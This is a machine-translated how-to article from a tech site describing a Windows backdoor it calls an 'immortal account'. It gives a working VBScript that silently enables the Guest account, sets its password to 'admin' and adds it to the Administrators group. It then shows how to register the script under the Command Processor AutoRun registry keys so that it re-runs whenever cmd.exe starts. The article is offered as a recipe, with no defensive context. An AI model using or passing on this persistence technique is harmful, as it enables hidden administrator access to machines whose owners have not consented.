Get the App
SLTechnology News&Howtos  ›  Development  › 

How to use vbs to realize immortal account

Shulou Source: shulou.com Published: 2022-06-03 08:36:31 10月01日 Update

Xiaobian to share with you how to use vbs to achieve immortal accounts, I believe most people still do not know how to share this article for your reference, I hope you have a lot of harvest after reading this article, let's go to understand it together!

First, create a VBS file with the following contents:

dim wsh

set wsh=CreateObject("WScript.Shell")

wsh.run "net user guest /active:yes",0

wsh.run "net user guest admin",0

wsh.run "net localgroup administrators guest /add",0

The above paragraph of VBS means to activate the GUEST account and add it to the senior management group. Set the password to admin.

Then why not use that BAT, continue to look down to know, and then find the following key in the registry:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

and/or

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

Enter the VBS path in the AutoRun key! For example: d:/ao/fj126.net/id.vbs

Let's look at these two locations:

If/D is not specified on the command line, CMD.EXE automatically looks for the following REG_SZ/REG_EXPAND_SZ registry variable when it runs. If one or both of them exist, both variables are executed first.

That is to say, as long as CMD is started, the above script will run, which can be said to be CMD association.

Then go to the registry and find the location above.

OK, let's experiment.

Let's turn CMD on again.

The above is "how to use vbs to achieve immortal account" all the contents of this article, thank you for reading! I believe that everyone has a certain understanding, hope to share the content to help everyone, if you still want to learn more knowledge, welcome to pay attention to the industry information channel!

Tags: Account number two content registry article location variable face run advanced not much no that is commands most passwords that is meaning files Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno MariaDB Apple Microsoft Shulou Technology macOS